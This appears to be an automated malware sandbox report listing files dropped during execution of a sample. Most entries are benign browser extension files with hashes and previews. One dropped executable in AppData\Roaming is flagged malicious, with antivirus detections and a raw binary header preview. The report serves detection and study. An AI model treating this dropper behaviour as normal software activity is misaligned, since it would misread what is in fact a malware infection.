C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\c95670be-9893-4252-92f3-097621a4b7c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\RoamingBKEHDGDGHC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1929728
Entropy (8bit):	7.950023055229562
Encrypted:	false
SSDEEP:	49152:Hp1xNjgKwcs8ktH3FxhFb+9pzyqUnntttX0o:Jr+3csfVVxXbmp2q05X0o
MD5:	927614BDB1FFF68B49468BC4A3886F36
SHA1:	E684E796B2D93374C80E94D5B77FDD50C194A0D4
SHA-256:	30B7B1795AF4FA8F43CDF9595F5A266DDFA407E9E3BAB55B0684618EFC6BBD0D
SHA-512:	B8C84B98902D8B9B942D8B928A65E7F23465D773F9751F64695E011717AC84257D9D736781C7E9C239ED27B481F1C7FCA5A62A2EA3F255797F868E6D7A7829E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L...*.^f.............................pL...........@...........................L.....>.....@.................................X...l............................WL.............................LWL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...qhedmxhi.`....2..Z..................@...aflvgrfd.....`L......L..............@....taggant.0...pL.."...P..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
